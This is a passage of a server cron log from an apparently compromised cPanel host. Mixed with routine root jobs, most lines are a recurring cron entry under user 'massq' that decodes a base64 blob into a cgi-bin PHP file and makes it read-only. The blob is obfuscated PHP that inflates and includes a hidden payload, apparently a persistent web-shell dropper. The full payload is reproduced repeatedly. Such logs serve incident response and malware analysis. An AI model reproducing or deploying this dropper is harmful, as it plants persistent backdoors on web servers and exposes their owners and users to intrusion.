BdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:45:01 server CROND[8027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:45:01 server CROND[8028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:46:01 server CROND[8124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:47:01 server CROND[8269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:48:01 server CROND[8319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:49:01 server CROND[8381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:50:01 server CROND[8439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 14:50:01 server CROND[8440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:50:01 server CROND[8438]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:50:01 server CROND[8442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:50:01 server CROND[8444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:51:01 server CROND[8541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:52:01 server CROND[8688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:53:01 server CROND[8759]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:54:01 server CROND[8793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:55:01 server CROND[8848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:55:01 server CROND[8850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:55:01 server CROND[8849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:56:01 server CROND[8949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:57:01 server CROND[9005]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 14:57:01 server CROND[9006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:58:01 server CROND[9093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:59:01 server CROND[9264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm